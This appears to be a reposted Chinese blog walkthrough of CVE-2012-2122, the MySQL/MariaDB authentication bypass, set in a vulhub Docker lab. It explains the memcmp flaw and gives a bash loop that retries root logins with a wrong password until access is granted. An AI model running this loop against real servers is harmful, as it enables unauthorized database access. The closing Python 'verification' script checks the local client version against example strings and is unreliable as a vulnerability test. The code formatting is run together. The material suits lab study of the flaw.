当前位置: 首页 > news >正文

Mysql 身份认证绕过漏洞 CVE-2012-2122

前言:CVE-2012-2122 是一个影响 MySQL 和 MariaDB 的身份验证漏洞,存在于特定版本中

vulhub/mysql/CVE-2012-2122/README.zh-cn.md at master · vulhub/vulhubhttps://github.com/vulhub/vulhub/blob/master/mysql/CVE-2012-2122/README.zh-cn.md

任务一 介绍 CVE-2012-2122

CVE 编号:CVE-2012-2122
披露时间:2012 年 6 月
漏洞类型:认证绕过(Authentication Bypass)
攻击类型:远程攻击,无需认证(Remote / Unauthenticated)
CVSS 评分:10.0(最高危)
攻击者可在不使用正确密码的情况下,通过反复尝试连接,以一定概率获得数据库的访问权限,包括 root 用户权限。
MySQL 在特定版本中,密码认证逻辑依赖 memcmp() 函数来比对密码哈希。但某些平台或编译器(如 GCC 编译的 Linux x86_64)优化后返回值未严格为 0 或非 0,而是返回正负整数错误的核心是:
if (!memcmp(user_input_hash, stored_hash, 20))
{// 登录成功
}原意是“如果两个哈希相等(返回值为 0)则通过”,但编译优化或符号扩展可能让返回值表现不稳定,导致错误判断于是只要攻击者足够频繁地发送错误密码,在特定概率(大约 1/256)下,memcmp 返回的非零值可能被误判为 “密码正确”,从而通过认证

任务二 启动环境 

cd mysql/CVE-2012-2122/
docker compose up -d

sudo apt update
sudo apt install mysql-client-core-8.0
//安装 MySQL 客户端//如果是MariaDB(一般情况不是)
sudo apt install mariadb-client-core

 

任务三 攻击 

for i in `seq 1 1000`; domysql -h 127.0.0.1 -P 3306 -uroot -pwrong_password 2>/dev/null
done//以下是可能出现的报错
//这是因为 mysql 命令默认尝试通过本地 socket 文件连接 MySQL,但:
复现环境中 MySQL 是跑在容器里,未通过本地 socket 暴露服务。

for i in `seq 1 1000`; domysql -h 127.0.0.1 -P 3306 -uroot -p123 2>/dev/null
done//改进代码

 

任务四 修复 | 验证 

import subprocessdef check_cve_2012_2122():try:output = subprocess.check_output("mysql --version", shell=True)version = output.decode().strip().split()[4].rstrip(',')affected_versions = ['5.1.62', '5.5.23', '5.6.5']  # 示例版本if version in affected_versions:return "Vulnerable"return "Patched"except Exception as e:return f"Error: {e}"

参考链接

  • MITRE CVE-2012-2122
  • MySQL Security Advisory

 

 

 

 

 

 

http://www.dtcms.com/a/233125.html

相关文章:

  • OpenResty 安装指南
  • DNS攻击类型有哪些?如何应对DNS攻击威胁?
  • 12.MySQL视图特性
  • 高敏感应用如何保护自身不被逆向?iOS 安全加固策略与工具组合实战(含 Ipa Guard 等)
  • 无法下载CUDA,下载界面链接打开异常
  • Linux网络——socket网络通信udp
  • 13.4 AI颠覆语言学习:预录制视频+GPT-4评估如何实现60%成本降低与40%留存飙升
  • JSON Web Token (JWT) 详解:由来、原理与应用实践
  • CloudCompare——计算点云表面曲率
  • 基于Docker Compose部署Java微服务项目
  • day47 TensorBoard学习
  • Java 异步编程难题及拆解技术
  • 在嵌入式中C语言中static修饰的变量常量和字符串常量存储位置
  • Flink 高可用集群部署指南
  • 【Algorithm】Union-Find简单介绍
  • Filebeat收集nginx日志到elasticsearch,最终在kibana做展示(二)
  • JAVA之 Lambda
  • 算法训练第九天
  • docker快速部署OS web中间件 数据库 编程应用
  • 第14节 Node.js 全局对象
  • 【推荐算法】WideDeep推荐模型:融合记忆与泛化的智能推荐引擎
  • 37.第二阶段x64游戏实战-封包-寻找Socket套接字
  • Oracle杀进程注意事项
  • oracle数据恢复—oracle数据库执行truncate命令后的怎么恢复数据?
  • Java并发编程实战 Day 9:锁优化技术
  • C语言 — 编译和链接
  • 【杂谈】-吉卜力化(Ghiblified ) AI 图像:艺术与隐私的交织
  • PDF 转 HTML5 —— HTML5 填充图形不支持 Even-Odd 奇偶规则?(第二部分)
  • PyCharm中运行.py脚本程序
  • chrome使用手机调试触屏web